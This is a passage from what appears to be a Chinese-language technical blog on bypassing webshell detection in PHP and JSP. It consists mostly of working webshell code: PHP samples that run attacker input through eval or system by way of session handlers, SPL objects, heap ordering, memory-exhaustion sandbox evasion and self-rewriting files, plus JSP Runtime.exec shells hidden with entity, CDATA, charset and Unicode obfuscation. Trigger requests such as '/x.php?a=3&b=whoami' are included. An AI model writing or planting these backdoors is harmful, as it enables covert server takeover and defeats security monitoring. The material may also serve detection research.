<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$b</span> = <span class="string">&quot;111&quot;</span>;</span><br><span class="line"><span class="variable">$c</span> = <span class="string">&quot;222&quot;</span>;</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">array</span>( <span class="string">&quot;one&quot;</span>=&gt;<span class="variable">$c</span>,<span class="string">&quot;two&quot;</span>=&gt;&amp;<span class="variable">$c</span> );</span><br><span class="line"><span class="variable">$url</span> = <span class="string">&quot;http://a/usr/&quot;</span>.<span class="variable">$_SESSION</span>[<span class="string">&#x27;a&#x27;</span>].<span class="string">&quot;?a=1&quot;</span>;</span><br><span class="line"><span class="variable">$d</span> =<span class="title function_ invoke__">parse_url</span>(<span class="variable">$url</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$d</span>[<span class="string">&#x27;query&#x27;</span>])&#123;</span><br><span class="line"><span class="variable">$c</span>=<span class="string">&quot;echo 111;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$_FILES</span>[<span class="string">&#x27;useraccount&#x27;</span>][<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]);</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]);</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;a&#x27;</span>]=<span class="string">&quot;#&quot;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>由于规则需要一次性执行成功，因此需要在文件末尾加入：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="variable">$_SESSION</span>[<span class="string">&#x27;a&#x27;</span>]!=<span class="string">&quot;#&quot;</span>)&#123;</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;a&#x27;</span>]=<span class="string">&quot;#&quot;</span>;</span><br><span class="line"><span class="keyword">print</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="title function_ invoke__">get_included_files</span>()[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>触发该 WebShell 的 HTTP 请求为：</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">POST /x.php HTTP/1.1</span><br><span class="line">Host: x</span><br><span class="line">Content-Type: multipart/form-data;boundary=a;</span><br><span class="line">Content-Length: 101</span><br><span class="line">Cookie: PHPSESSID=bkukterqhtt79mrso0p6ogpqtm;</span><br><span class="line">--a</span><br><span class="line">Content-Disposition: form-data; name=&quot;useraccount&quot;; filename=&quot;phpinfo();&quot;</span><br><span class="line">phpinfo();</span><br><span class="line">--a--</span><br></pre></td></tr></table></figure>

<p><strong>Session扩展</strong>:</p>
<p>利用 <code>SessionHandlerInterface</code> 扩展的接口可以神不知鬼不觉地执行特定函数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MySessionHandler</span> <span class="keyword">implements</span> <span class="title">SessionHandlerInterface</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"><span class="comment">// implement interfaces here</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">close</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> Implement close() method.</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">destroy</span>(<span class="params"><span class="variable">$id</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> Implement destroy() method.</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">gc</span>(<span class="params"><span class="variable">$max_lifetime</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> Implement gc() method.</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">open</span>(<span class="params"><span class="variable">$path</span>, <span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$path</span>(<span class="variable">$name</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">read</span>(<span class="params"><span class="variable">$id</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> Implement read() method.</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span>(<span class="params"><span class="variable">$id</span>, <span class="variable">$data</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> Implement write() method.</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$handler</span> = <span class="keyword">new</span> <span class="title class_">MySessionHandler</span>();</span><br><span class="line"><span class="title function_ invoke__">session_set_save_handler</span>(<span class="variable">$handler</span>, <span class="literal">true</span>);</span><br><span class="line"><span class="title function_ invoke__">session_name</span>(<span class="variable">$_GET</span>[a]);</span><br><span class="line"><span class="title function_ invoke__">session_save_path</span>(<span class="string">&#x27;system&#x27;</span>);</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br></pre></td></tr></table></figure>

<p><strong>S. 内存及内存不足:</strong></p>
<p>如果设置了 <code>maxMemory（默认 2M）</code>，那么 <code>SplTempFile</code> 会在内存中，这样就不存在文<br>件落地的问题了，写入内存后加载。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="built_in">SplTempFileObject</span>(<span class="number">1000000</span>);</span><br><span class="line"><span class="variable">$a</span>-&gt;<span class="title function_ invoke__">fwrite</span>( <span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]);</span><br><span class="line"><span class="variable">$a</span>-&gt;<span class="title function_ invoke__">rewind</span>();</span><br><span class="line"><span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">get_declared_classes</span>()[<span class="number">72</span>],<span class="number">4</span>,<span class="number">6</span>)(<span class="variable">$a</span>-&gt;<span class="title function_ invoke__">fgets</span>());</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p><strong>内存不足:</strong></p>
<p>内存不足的思想是：查杀引擎的动态执行需要消耗内存空间，由于同一时间处理的样本很多，因此单独给每个沙箱环境分配的内存往往不会太多，如果我构造一个样本，能够让查杀引擎由于内存不足提前终止查杀，而在真实环境中内存可以满足执行需要，就能够执行到恶意的代码了，恰好 PHP 的内存申请是可以通过<code>php_ini</code>在运行时动态修改的。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">b</span> <span class="keyword">extends</span> <span class="title">SplObjectStorage</span> </span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getHash</span>(<span class="params"><span class="variable">$o</span></span>) </span>&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title function_ invoke__">get_class</span>(<span class="variable">$o</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$cur</span>= <span class="keyword">new</span> <span class="built_in">DomainException</span>(<span class="variable">$_GET</span>[a]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="number">111111111111111111111111111111111111111111111111</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 这预计会消耗 1G 的内存空间。经过测试，我本地是可以执行成功的。</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;memory_limit&quot;</span>,<span class="string">&quot;100G&quot;</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">memory_get_usage</span>().<span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line"><span class="variable">$var</span> = <span class="title function_ invoke__">str_repeat</span>(<span class="string">&quot;php7_do9gy&quot;</span>, <span class="number">100000000</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">memory_get_usage</span>();</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">bb</span></span>&#123;&#125;<span class="meta">?&gt;</span></span><br><span class="line"><span class="number">111111111111111111111111111111111111111111111111</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>&#123;&#125;</span><br><span class="line"><span class="variable">$s</span> = <span class="keyword">new</span> b;</span><br><span class="line"><span class="variable">$o2</span> = <span class="keyword">new</span> <span class="built_in">stdClass</span>;</span><br><span class="line"><span class="variable">$s</span>[<span class="variable">$o2</span>] = <span class="string">&#x27;system&#x27;</span>;</span><br><span class="line"><span class="comment">//these are considered equal to the objects before</span></span><br><span class="line"><span class="comment">//so they can be used to access the values stored under them</span></span><br><span class="line"><span class="variable">$p1</span> = <span class="keyword">new</span> <span class="built_in">stdClass</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$s</span>[<span class="variable">$p1</span>](<span class="variable">$cur</span>-&gt;<span class="title function_ invoke__">getMessage</span>());</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>



<p><strong>T. 修改自身</strong></p>
<p>示例1:</p>
<p>直接的文件读写函数被禁止了，因此需要通过 <code>SplFileObject</code> 来写，由于需要一次性执行和稳定触发，写入之后需要自己 include 自己。这种 WebShell 很有趣，就像是披着羊皮的狼，上传的时候看起来平平无奇，被执行一次以后就完全变了模样。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$s</span>=<span class="string">&quot;Declaring file object\n&quot;</span>;</span><br><span class="line"><span class="variable">$d</span>=<span class="variable">$_SERVER</span>[<span class="string">&#x27;DOCUMENT_ROOT&#x27;</span>].<span class="variable">$_SERVER</span>[<span class="string">&#x27;DOCUMENT_URI&#x27;</span>];</span><br><span class="line"><span class="variable">$file</span> = <span class="keyword">new</span> <span class="built_in">SplFileObject</span>(<span class="variable">$d</span>,<span class="string">&#x27;w&#x27;</span>);</span><br><span class="line"><span class="variable">$file</span>-&gt;<span class="title function_ invoke__">fwrite</span>(<span class="string">&quot;&lt;?php&quot;</span>.<span class="string">&quot; eva&quot;</span>.<span class="variable">$s</span>[<span class="number">3</span>]);</span><br><span class="line"><span class="variable">$file</span>-&gt;<span class="title function_ invoke__">fwrite</span>(<span class="string">&quot;(\$_&quot;</span>.<span class="string">&quot;GET&quot;</span>.<span class="string">&quot;[a]);?&gt;&quot;</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="title function_ invoke__">get_included_files</span>()[<span class="number">0</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>示例2:</p>
<p>这里使用的是 <code>fputcsv</code>，此时，需要将写入文件以后所产生的分隔符进行注释，因此在构造 payload 时需要花点心思</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="keyword">print</span> <span class="string">&quot;Declaring file object\n&quot;</span>;</span><br><span class="line"><span class="variable">$f</span>=<span class="keyword">__FILE__</span>;</span><br><span class="line"><span class="variable">$file</span> = <span class="keyword">new</span> <span class="built_in">SplFileObject</span>(<span class="variable">$f</span>,<span class="string">&#x27;w&#x27;</span>);</span><br><span class="line"><span class="variable">$a</span>=<span class="keyword">array</span>(<span class="string">&quot;&lt;?php /*&quot;</span>, <span class="string">&quot;*/eva&quot;</span>,<span class="string">&quot;(\$_GET[a]);&quot;</span>);</span><br><span class="line"><span class="variable">$file</span>-&gt;<span class="title function_ invoke__">fputcsv</span>(<span class="variable">$a</span>,<span class="string">&#x27;l&#x27;</span>);</span><br><span class="line"><span class="variable">$file</span>=<span class="literal">null</span>;</span><br><span class="line"><span class="keyword">include</span>(<span class="title function_ invoke__">get_included_files</span>()[<span class="number">0</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>示例3:</p>
<p>加载缓存</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="variable">$s</span>=<span class="string">&quot;Declaring file objecT\n&quot;</span>;</span><br><span class="line"><span class="variable">$file</span> = <span class="keyword">new</span> <span class="built_in">SplTempFileObject</span>();</span><br><span class="line"><span class="variable">$file</span>-&gt;<span class="title function_ invoke__">fputcsv</span>(<span class="title function_ invoke__">explode</span>(<span class="string">&#x27;m&#x27;</span>,<span class="string">&quot;evam(\$_GET[m]);&quot;</span>),<span class="string">&#x27;l&#x27;</span>);</span><br><span class="line"><span class="variable">$file</span>-&gt;<span class="title function_ invoke__">rewind</span>();</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$file</span>-&gt;<span class="title function_ invoke__">fgets</span>());</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p><strong>U. 堆排序和优先队列</strong></p>
<p><strong>堆排序:</strong></p>
<p>不同的参数值，能够引发堆结构的改变。</p>
<p>利用的 Payload 只能是 <code>/x.php?a=99;whoami</code> 这种格式。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$obj</span>=<span class="keyword">new</span> <span class="built_in">SplMaxHeap</span>();</span><br><span class="line"><span class="variable">$obj</span>-&gt;<span class="title function_ invoke__">insert</span>( <span class="variable">$_GET</span>[a] );</span><br><span class="line"><span class="variable">$obj</span>-&gt;<span class="title function_ invoke__">insert</span>( <span class="number">8</span> );</span><br><span class="line"><span class="variable">$obj</span>-&gt;<span class="title function_ invoke__">insert</span>( <span class="string">&#x27;system&#x27;</span> );</span><br><span class="line"><span class="variable">$obj</span>-&gt;<span class="title function_ invoke__">insert</span>( <span class="number">7</span> );</span><br><span class="line"><span class="variable">$obj</span>-&gt;<span class="title function_ invoke__">insert</span>( <span class="number">0</span> );</span><br><span class="line"><span class="comment">//$obj-&gt;recoverFromCorruption();</span></span><br><span class="line"><span class="variable">$i</span>=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">foreach</span>( <span class="variable">$obj</span> <span class="keyword">as</span> <span class="variable">$number</span> ) &#123;</span><br><span class="line"><span class="variable">$i</span>++;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$i</span>==<span class="number">1</span>) &#123;</span><br><span class="line"><span class="variable">$a</span> = <span class="variable">$number</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$i</span>==<span class="number">2</span>) &#123;</span><br><span class="line"><span class="variable">$b</span> = <span class="variable">$number</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span>(<span class="variable">$b</span>);</span><br></pre></td></tr></table></figure>

<p><strong>优先级队列:</strong></p>
<p>优先级队列与堆排序思想基本类似，不同的是，我这里使用优先级队列对 system 关键词进行更细颗粒度的拆分。想办法让传参影响 system 每个字符的顺序。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="variable">$objPQ</span> = <span class="keyword">new</span> <span class="built_in">SplPriorityQueue</span>();</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">insert</span>(<span class="string">&#x27;m&#x27;</span>,<span class="number">1</span>);</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">insert</span>(<span class="string">&#x27;s&#x27;</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">insert</span>(<span class="string">&#x27;e&#x27;</span>,<span class="number">3</span>);</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">insert</span>(<span class="string">&#x27;s&#x27;</span>,<span class="number">4</span>);</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">insert</span>(<span class="string">&#x27;y&#x27;</span>,<span class="number">5</span>);</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">insert</span>(<span class="string">&#x27;t&#x27;</span>,<span class="variable">$_GET</span>[a]);</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">setExtractFlags</span>(<span class="title class_">SplPriorityQueue</span>::<span class="variable constant_">EXTR_DATA</span>);</span><br><span class="line"><span class="comment">//Go to TOP</span></span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">top</span>();</span><br><span class="line"><span class="variable">$m</span>=<span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$cur</span> = <span class="keyword">new</span> <span class="built_in">ErrorException</span>(<span class="variable">$_GET</span>[b]);</span><br><span class="line"><span class="keyword">while</span>(<span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">valid</span>())&#123;</span><br><span class="line"><span class="variable">$m</span>.=<span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">current</span>();</span><br><span class="line"><span class="variable">$objPQ</span>-&gt;<span class="title function_ invoke__">next</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$m</span>(<span class="variable">$cur</span>-&gt;<span class="title function_ invoke__">getMessage</span>());</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>假设 GET 参数不存在或为 0，此时得到的函数为：<code>sysemt</code> 并不是危险函数。但是，当<br><code>$_GET[&#39;a&#39;]为 3</code> 时，函数变成了： <code>system</code> ，就成为了危险函数。<br>该样本的利用 payload 为：<code>/x.php?a=3&amp;b=whoami</code></p>
<p><strong>V.未来Webshell和Phar反序列化(未学习)</strong></p>
<p>来源:</p>
<p>HIDS PHP WebShell Bypass研究与分析</p>
<p><strong>二、JSP篇</strong></p>
<p><strong>a. 小tips</strong></p>
<p><code>jsp</code> 的后缀可以兼容为 <code>jspx</code> 的代码，也兼容 <code>jspx </code>的所有特性，如 <code>CDATA</code> 特性。<br><code>jspx </code>的后缀不兼容为 <code>jsp</code> 的代码，<code>jspx</code>只能用 <code>jspx</code> 的格式</p>
<p><strong>b. <code>jspx</code> 的<code>CDATA</code>特性</strong></p>
<p>在 XML 元素里， <code>&lt; </code>和 <code>&amp; </code>是非法的,但jspx需要这种字符，所以引入<code>CDATA</code>：<br>格式： <code>&lt;![CDATA[xxxxxxxxxxxxxxxxxxx]]&gt;</code></p>
<p>如：</p>
<p>String cmd &#x3D; request.getPar<![CDATA[ameter]]>(“shell”);<br>此时 ameter 依旧会与 getPar 拼接成为 getParameter</p>
<p><strong>c. 实体化编码</strong></p>
<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(cmd!=<span class="literal">null</span>)&#123;</span><br><span class="line">    <span class="type">Process</span> <span class="variable">child</span> <span class="operator">=</span> &amp;#<span class="number">82</span>;&amp;#<span class="number">117</span>;&amp;#<span class="number">110</span>;&amp;#<span class="number">116</span>;&amp;#<span class="number">105</span>;&amp;#<span class="number">109</span>;&amp;#<span class="number">101</span>;&amp;#<span class="number">46</span>;&amp;#<span class="number">103</span>;&amp;#<span class="number">101</span>;&amp;#<span class="number">116</span>;&amp;#<span class="number">82</span>;&amp;#<span class="number">117</span>;&amp;#<span class="number">110</span>;&amp;#<span class="number">116</span>;&amp;#<span class="number">105</span>;&amp;#<span class="number">109</span>;&amp;#<span class="number">101</span>;().exec(cmd);</span><br><span class="line">    <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> child.getInputStream();    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><strong>d.利用 java 支持其他编码格式来进行绕过</strong></p>
<p>(不止这么点，具体去查文档)</p>
<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#<span class="type">python2</span></span><br><span class="line"><span class="variable">charset</span> <span class="operator">=</span> <span class="string">&quot;utf-8&quot;</span></span><br><span class="line">data = <span class="string">&#x27;&#x27;</span><span class="string">&#x27;&lt;%Runtime.getRuntime().exec(request.getParameter(&quot;i&quot;));%&gt;&#x27;</span><span class="string">&#x27;&#x27;</span>.format(charset=charset)</span><br><span class="line"></span><br><span class="line">f16be = open(<span class="string">&#x27;utf-16be.jsp&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">f16be.write(<span class="string">&#x27;&lt;%@ page contentType=&quot;charset=utf-16be&quot; %&gt;&#x27;</span>)</span><br><span class="line">f16be.write(data.encode(<span class="string">&#x27;utf-16be&#x27;</span>))</span><br><span class="line"></span><br><span class="line">f16le = open(<span class="string">&#x27;utf-16le.jsp&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">f16le.write(<span class="string">&#x27;&lt;jsp:directive.page contentType=&quot;charset=utf-16le&quot;/&gt;&#x27;</span>)</span><br><span class="line">f16le.write(data.encode(<span class="string">&#x27;utf-16le&#x27;</span>))</span><br><span class="line"></span><br><span class="line">fcp037 = open(<span class="string">&#x27;cp037.jsp&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">fcp037.write(data.encode(<span class="string">&#x27;cp037&#x27;</span>))</span><br><span class="line">fcp037.write(<span class="string">&#x27;&lt;%@ page contentType=&quot;charset=cp037&quot;/&gt;&#x27;</span>)</span><br></pre></td></tr></table></figure>



<p><strong>e. Javac动态编译 ，ScriptEngine 免杀，Expression 免杀，BCEL 字节码免杀，defineClass0 免杀</strong></p>
<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 代码详见：</span><br><span class="line">https:<span class="comment">//github.com/TonyD0g/JavaHacker/tree/main/JSP%E5%85%8Ds%E5%AD%A6%E4%B9%A0</span></span><br></pre></td></tr></table></figure>

<p><strong>f. Unicode绕过</strong></p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">• Jsp中可以⽤Unicode或者变形Unicode(\uuuuuuxxxx)这种格式来对恶意代码进⾏混淆</span><br><span class="line">• 如果Webshell检测引擎没有对其进行正确的解码处理，就会被直接“降维打击”，产生绕过</span><br><span class="line">• 这种简单、通用的混淆方式已经被攻击者广泛使用，大部分安全设备也已经支持检测</span><br><span class="line"></span><br><span class="line">如</span><br><span class="line">&lt;% Runtime.getRuntim\u0065().\uuuuu0065xec(request.getParameter(&quot;cmd&quot;)); %&gt;</span><br></pre></td></tr></table></figure>

<p><strong>g.  Jsp中声明编码的四种形式及部分可利用编码</strong></p>
